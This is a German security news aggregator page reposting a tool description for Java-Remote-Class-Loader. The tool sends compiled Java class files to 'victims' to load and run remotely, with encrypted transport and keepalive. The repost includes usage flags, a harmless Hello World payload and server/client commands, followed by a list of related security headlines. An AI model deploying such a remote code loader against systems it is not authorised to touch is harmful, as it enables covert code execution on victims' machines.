Ausnahme gefangen: SSL certificate problem: certificate is not yet valid ๐Ÿ“Œ Java-Remote-Class-Loader - Tool to send Java bytecode to your victims to load and execute using Java ClassLoader together with Reflect API

๐Ÿ  Team IT Security News

TSecurity.de ist eine Online-Plattform, die sich auf die Bereitstellung von Informationen,alle 15 Minuten neuste Nachrichten, Bildungsressourcen und Dienstleistungen rund um das Thema IT-Sicherheit spezialisiert hat.
Ob es sich um aktuelle Nachrichten, Fachartikel, Blogbeitrรคge, Webinare, Tutorials, oder Tipps & Tricks handelt, TSecurity.de bietet seinen Nutzern einen umfassenden รœberblick รผber die wichtigsten Aspekte der IT-Sicherheit in einer sich stรคndig verรคndernden digitalen Welt.

16.12.2023 - TIP: Wer den Cookie Consent Banner akzeptiert, kann z.B. von Englisch nach Deutsch รผbersetzen, erst Englisch auswรคhlen dann wieder Deutsch!

Google Android Playstore Download Button fรผr Team IT Security



๐Ÿ“š Java-Remote-Class-Loader - Tool to send Java bytecode to your victims to load and execute using Java ClassLoader together with Reflect API


๐Ÿ’ก Newskategorie: IT Security Nachrichten
๐Ÿ”— Quelle: kitploit.com


This tool allows you to send Java bytecode in the form of class files to your clients (or potential targets) to load and execute using Java ClassLoader together with Reflect API. The client receives the class file from the server and return the respective execution output. Payloads must be written in Java and compiled before starting the server.


Features

  • Client-server architecture
  • Remote loading of Java class files
  • In-transit encryption using ChaCha20 cipher
  • Settings defined via args
  • Keepalive mechanism to re-establish communication if server restarts

Installation

Tool has been tested using OpenJDK 11 with JRE Java Package, both on Windows and Linux (zip portable version). Java version should be 11 or higher due to dependencies.

https://www.openlogic.com/openjdk-downloads

Usage

$ java -jar java-class-loader.jar -help

usage: Main
-address <arg> address to connect (client) / to bind (server)
-classfile <arg> filename of bytecode .class file to load remotely
(default: Payload.class)
-classmethod <arg> name of method to invoke (default: exec)
-classname <arg> name of class (default: Payload)
-client run as client
-help print this message
-keepalive keeps the client getting classfile from server every
X seconds (default: 3 seconds)
-key <arg> secret key - 256 bits in base64 format (if not
specified it will generate a new one)
-port <arg> port to connect (client) / to bind (server)
-server run as server

Example

Assuming you have the following Hello World payload in the Payload.java file:

//Payload.java
public class Payload {
public static String exec() {
String output = "";
try {
output = "Hello world from client!";
} catch (Exception e) {
e.printStackTrace();
}
return output;
}
}

Then you should compile and produce the respective Payload.class file.

To run the server process listening on port 1337 on all net interfaces:

$ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class

Running as server
Server running on 0.0.0.0:1337
Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

On the client side, you may use the same JAR package with the -client flag and use the symmetric key generated by server. Specify the server IP address and port to connect to. You may also change the class name and class method (defaults are Payload and String exec() respectively). Additionally, you can specify -keepalive to keep the client requesting class file from server while maintaining the connection.

$ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

Running as client
Connecting to 192.168.1.73:1337
Received 593 bytes from server
Output from invoked class method: Hello world from client!
Sent 24 bytes to server

References

Refer to https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/ for a blog post related with the development of this tool.

  1. https://github.com/rebeyond/Behinder

  2. https://github.com/AntSwordProject/antSword

  3. https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/

  4. https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis

  5. https://xz.aliyun.com/t/2799

  6. https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7

  7. https://venishjoe.net/post/dynamically-load-compiled-java-class/

  8. https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php

  9. https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/

  10. https://openjdk.org/jeps/329

  11. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html

  12. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html



...



๐Ÿ“Œ HP HP-UX up to B.11.23 Java Classloader Applet unknown vulnerability


๐Ÿ“ˆ 34.15 Punkte

๐Ÿ“Œ Vuln: Apache Struts ClassLoader Manipulation CVE-2014-0114 Security Bypass Vulnerability


๐Ÿ“ˆ 29.86 Punkte

๐Ÿ“Œ Vuln: Apache Struts ClassLoader Manipulation CVE-2014-0114 Security Bypass Vulnerability


๐Ÿ“ˆ 29.86 Punkte

๐Ÿ“Œ Send to Kindle 1.1.1.254 - Send your personal documents to your Kindle.


๐Ÿ“ˆ 29.37 Punkte

๐Ÿ“Œ TIBCO FTP Community Edition up to 6.5.0 on Windows Server/C API/Golang API/Java API/.Net API access control


๐Ÿ“ˆ 29.33 Punkte

๐Ÿ“Œ Java-Stager - A PoC Java Stager Which Can Download, Compile, And Execute A Java File In Memory


๐Ÿ“ˆ 28.84 Punkte

๐Ÿ“Œ 4 Methods to Send Emails Using Node.js (w/ Codes - Nodemailer Module, Gmail API, Postmark API & SuprSend)


๐Ÿ“ˆ 28.82 Punkte

๐Ÿ“Œ Bugtraq: Defense in depth -- the Microsoft way (part 42): Sysinternals utilities load and execute rogue DLLs from %TEMP%


๐Ÿ“ˆ 27.91 Punkte

๐Ÿ“Œ Bugtraq: Defense in depth -- the Microsoft way (part 42): Sysinternals utilities load and execute rogue DLLs from %TEMP%


๐Ÿ“ˆ 27.91 Punkte

๐Ÿ“Œ Send | Share Self-Destructing File Online FREE Using Firefox Send


๐Ÿ“ˆ 27.49 Punkte

๐Ÿ“Œ Load testing your test engines with Azure Load Testing


๐Ÿ“ˆ 27.42 Punkte

๐Ÿ“Œ Using Power Automate to build and execute SharePoint REST API Queries


๐Ÿ“ˆ 27.32 Punkte

๐Ÿ“Œ Obfuscating Java bytecode with LLVM and Epona


๐Ÿ“ˆ 26.72 Punkte

๐Ÿ“Œ Digging deeper into JAR packages and Java bytecode


๐Ÿ“ˆ 26.72 Punkte

๐Ÿ“Œ Digging deeper into JAR packages and Java bytecode


๐Ÿ“ˆ 26.72 Punkte

๐Ÿ“Œ API World 2023: Bringing Together API, AI, and Secrets Security


๐Ÿ“ˆ 26.47 Punkte

๐Ÿ“Œ Creating a Ghidra processor module in SLEIGH using V8 bytecode as an example


๐Ÿ“ˆ 25.76 Punkte

๐Ÿ“Œ New RedLine Stealer Variant Disguised as Game Cheats Using Lua Bytecode for Stealth


๐Ÿ“ˆ 25.76 Punkte

๐Ÿ“Œ Automate Application Load Balancers With AWS Load Balancer Controller and Ingress


๐Ÿ“ˆ 25.71 Punkte

๐Ÿ“Œ Eclipse Openj9 up to 0.25.0 jdk.internal.reflect.ConstantPool API missing initialization of resource


๐Ÿ“ˆ 25.49 Punkte

๐Ÿ“Œ Recaf: Modern Java bytecode editor / agent / assembler


๐Ÿ“ˆ 24.94 Punkte

๐Ÿ“Œ Cafebabe - A new Java bytecode editor regenerating frames without libraries


๐Ÿ“ˆ 24.94 Punkte

๐Ÿ“Œ Dealing with heavily obfuscated Java, possibly on bytecode level - tips needed


๐Ÿ“ˆ 24.94 Punkte

๐Ÿ“Œ Eclipse OpenJ9 up to 0.13.x Java Bytecode Verifier Crash denial of service


๐Ÿ“ˆ 24.94 Punkte

๐Ÿ“Œ How I Hacked Google App Engine: Anatomy of a Java Bytecode Exploit


๐Ÿ“ˆ 24.94 Punkte

๐Ÿ“Œ Java Bytecode: Journey to the Wonderland (Part 3)


๐Ÿ“ˆ 24.94 Punkte

๐Ÿ“Œ Recaf - A Modern Java Bytecode Editor


๐Ÿ“ˆ 24.94 Punkte

๐Ÿ“Œ Recaf - A Modern Java Bytecode Editor


๐Ÿ“ˆ 24.94 Punkte

๐Ÿ“Œ Facebook Adds โ€˜Watch Togetherโ€™ Feature To Watch Videos Together Virtually


๐Ÿ“ˆ 24.34 Punkte

๐Ÿ“Œ Celebrate together, even when you canโ€™t BE together with #GoogleMeet ๐Ÿ’ฅ๐Ÿ’ฅ๐Ÿ’ฅ #Shorts


๐Ÿ“ˆ 24.34 Punkte

๐Ÿ“Œ Whatโ€™s Microsoft Teamsโ€™ new Together Mode? Brings participants together in a shared background


๐Ÿ“ˆ 24.34 Punkte

๐Ÿ“Œ Library and radare2 plugin to disassemble MC7 bytecode for Siemens PLC SIMATIC S7-300 and S7-400


๐Ÿ“ˆ 24.22 Punkte











matomo